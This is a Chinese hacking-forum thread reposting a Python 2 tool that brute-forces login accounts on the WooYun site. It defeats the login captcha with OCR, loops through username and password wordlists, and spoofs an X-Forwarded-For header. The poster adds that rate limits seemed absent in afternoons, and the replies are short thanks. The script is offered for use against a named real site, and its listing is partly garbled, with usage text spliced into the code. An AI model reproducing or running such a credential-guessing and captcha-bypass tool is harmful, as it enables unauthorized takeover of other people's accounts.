查看: 13924|回复: 6

[工具专区] [python]乌云账号暴力猜解工具

[复制链接]
发表于 2014-10-5 13:15:21 | 显示全部楼层 |阅读模式
版权声明:本文转自Rona发自乌云社区
原文链接:http://zone.wooyun.org/content/15378
需要预安装如下程序
1、pytesseract (可以pip install pytesseract安装)
2、Python Imaging Library (PIL)
3、tesseract-ocr
原理:
1、利用tesseract 进行验证码的识别。
2、post暴力猜解
问题1.验证码的识别率
进行了一次处理,从正则里可以看到pattern = '^[a-zA-Z0-9]{4}$' 只取识别为4位的字符,如果不是则重新请求验证码,这个在很大程度上提高了识别率。
问题2.服务端频率验证
经过我两天的实验观察,早上会有次数限制,连续两天的下午我尝试了大于1161次的登陆都没有限制,不知道是什么原因,也许是我网络问题

  1. #coding: utf-8
  2. #date: 2014/09/23
  3. #author: titans

  4. import cookielib
  5. import urllib2
  6. import urllib
  7. import socket
  8. import sys
  9. import time
  10. import re
  11. import Image
  12. import pytesseract



  13. def guess_login(url, users, passwords):
  14.   cj = cookielib.CookieJar()
  15.   opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
  16.   opener.addheaders = [
  17.     ('User-Agent','Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Firefox/24.0'),
  18.     ('Accept','text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'),
  19.     ('Accept-Encoding','gzip, deflate'),
  20.     ('Connection', 'keep-alive'),
  21.     ('X-Forwarded-For','127.0.0.1'),
  22.   ]
  23.   urllib2.install_opener(opener)
  24.   captcha = ''

  25.    
  26.   catp_url = 'http://www.wooyun.org/captcha.php'
  27.    
  28.   pattern = '^[a-zA-Z0-9]{4}

  29. windows下使用,如果linux下测试,修改存放验证码的路径c:\\temp\capta.jpg 改为linux下的路径即可
  30. usage:  wooyun.py users.txt passwords.txt
  31.   regex = re.compile(pattern)
  32.   for user in users:
  33.     user = user.strip()
  34.     find = False
  35.     for password in passwords:
  36.       while_mark = 1
  37.       password = password.strip()
  38.       
  39.       while(while_mark):

  40.         opener.open(url)
  41.         pic = opener.open(catp_url)
  42.         content = pic.read()
  43.         f = open('c:\\temp\capta.jpg','wb')
  44.         f.write(content)
  45.         f.close()
  46.         time.sleep(1)
  47.         captcha = pytesseract.image_to_string(Image.open('c:\\temp\capta.jpg'))
  48.          
  49.         re_result = regex.match(captcha)
  50.         if re_result:
  51.           print user, password, captcha
  52.           post_data = 'email=%s&password=%s&captcha=%s'%(user,password,captcha)
  53.           post_url =  'http://www.wooyun.org/user.php?action=login&do=login'
  54.           resp = opener.open(post_url,post_data)
  55.           while_mark = 0
  56.           cookies = resp.info().getheaders('Set-Cookie')
  57.           if len(cookies):
  58.             
  59.             find = True
  60.             raw_input('Get it!!%s %s'%(user,password))
  61.         else:
  62.           print '[*]Repeat request'
  63.           pass
  64.       if find == True:
  65.         break

  66. def run():
  67.   if len(sys.argv) !=3:
  68.     usage()
  69.   url = 'http://www.wooyun.org/user.php?action=login'
  70.   users = open(sys.argv[1],'r').readlines()
  71.   passwords = open(sys.argv[2],'r').readlines()
  72.   guess_login(url, users, passwords)
  73. def usage():
  74.   print 'wooyun.py users.txt passwords.txt'
  75.   exit(0)
  76. if __name__ == '__main__':
  77.   run()

复制代码


windows下使用,如果linux下测试,修改存放验证码的路径c:\\temp\capta.jpg 改为linux下的路径即可
usage:  wooyun.py users.txt passwords.txt
回复

使用道具 举报

发表于 2014-10-5 16:28:57 | 显示全部楼层
谢谢分享阿
回复 支持 反对

使用道具 举报

发表于 2014-10-6 22:39:31 | 显示全部楼层
学习了,感谢分享
回复 支持 反对

使用道具 举报

发表于 2014-10-12 00:20:28 | 显示全部楼层
SDFASFSDFSADF
回复 支持 反对

使用道具 举报

发表于 2014-11-2 19:40:18 | 显示全部楼层
爆破个乌云账号 那厉害了
回复 支持 反对

使用道具 举报

发表于 2015-5-5 11:53:09 | 显示全部楼层
看看,学习下
回复 支持 反对

使用道具 举报

发表于 2015-11-24 20:51:18 | 显示全部楼层
楼主真是 辛苦啊 还在奋斗
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

旗下站点

邮箱系统

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2025-5-1 23:33 , Processed in 0.063138 second(s), 17 queries , Gzip On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部